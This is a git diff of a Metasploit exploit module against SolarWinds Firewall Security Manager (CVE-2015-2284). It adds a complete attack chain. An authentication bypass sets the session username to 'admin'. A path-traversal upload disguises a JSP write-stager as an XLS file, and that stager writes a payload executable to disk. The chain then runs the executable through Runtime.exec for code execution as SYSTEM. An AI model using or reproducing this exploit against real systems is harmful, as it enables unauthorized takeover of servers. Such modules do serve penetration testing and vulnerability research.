diff --git a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb index 09c68e6fcb..d311113421 100644 --- a/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb +++ b/modules/exploits/windows/http/solarwinds_fsm_userlogin.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE + include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -19,30 +20,33 @@ class Metasploit3 < Msf::Exploit::Remote 6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set the 'username' attribute before authentication. The second problem is that the settings-new.jsp - file will only check the 'username' attribute before authorizing the 'uploadFile' action, which - can be exploited and allows the attacker to upload a fake xls file to the server, and results - in arbitrary code execution. + file will only check the 'username' attribute before authorizing the 'uploadFile' action, + which can be exploited and allows the attacker to upload a fake xls host list file to the + server, and results in arbitrary code execution under the context of SYSTEM. Depending on the installation, by default the Change Advisor web server is listening on port 48080 for an express install. Otherwise, this service may appear on port 8080. + + Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may + download it from the module's References section. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Original discovery + 'mr_me ', # https://twitter.com/ae0n_ 'sinn3r' # Metasploit ], 'References' => [ + ['CVE', '2015-2284'], ['OSVDB', '81634'], + ['ZDI', '15-107'], + ['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip'] ], - 'Payload' => - { - 'BadChars' => "\x00", - }, 'DefaultOptions' => { - 'RPORT' => 48080 + 'RPORT' => 48080 # Could be 8080 too }, 'Platform' => 'win', 'Targets' => @@ -78,14 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager') end + # Stage 1 of the attack + # 'admin' is there by default and you can't delete it username = 'admin' print_status("Auth bypass: Putting session value: username=#{username}") sid = put_session_value('admin') print_status("Your SID is: #{sid}") + # Stage 2 of the attack + exe = generate_payload_exe(code: payload.encoded) filename = "#{Rex::Text.rand_text_alpha(5)}.jsp" - malicious_file = get_jsp_payload - print_status("Uploading file: #{filename}") + # Because when we get a shell, we will be at: + # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice + # So we have to adjust this filename in order to delete the file + register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}") + malicious_file = get_jsp_payload(exe, filename) + print_status("Uploading file: #{filename} (#{exe.length} bytes)") upload_exec(sid, filename, malicious_file) end @@ -93,9 +105,53 @@ class Metasploit3 < Msf::Exploit::Remote private + # Returns a write-stager + # I grabbed this from Juan's sonicwall_gms_uploaded.rb module + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + # Returns JSP that executes stuff + # This is also from Juan's sonicwall_gms_uploaded.rb module + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + # Returns a JSP payload - def get_jsp_payload - 'evil inside' + def get_jsp_payload(exe, output_file) + jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file) end @@ -108,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote ) unless res - fail_with(Failure::Unknown, 'The connection timed out while setting the session value') + fail_with(Failure::Unknown, 'The connection timed out while setting the session value.') end get_sid(res) @@ -128,13 +184,14 @@ class Metasploit3 < Msf::Exploit::Remote res = upload_file(sid, filename, malicious_file) if !res - fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file') + fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.') elsif res && res.body.include?('java.lang.NoClassDefFoundError') print_status("Payload being treated as XLS, indicates a successful upload.") else - print_status("Unsure of a successful upload, but we're going to try to execute anyway") + print_status("Unsure of a successful upload.") end + print_status("Attempting to execute the payload.") exec_file(sid, filename) end @@ -143,6 +200,10 @@ class Metasploit3 < Msf::Exploit::Remote # By default, the file will be saved at the following location: # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ def upload_file(sid, filename, malicious_file) + # Put our payload in: + # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\ + filename = "../../jsp/#{filename}" + mime_data = Rex::MIME::Message.new mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"") mime_data.add_part('uploadFile', nil, nil, 'name="action"') @@ -163,7 +224,12 @@ class Metasploit3 < Msf::Exploit::Remote # Executes the malicious file and get code execution + # We will be at this location: + # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice def exec_file(sid, filename) + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'fsm', filename) + ) end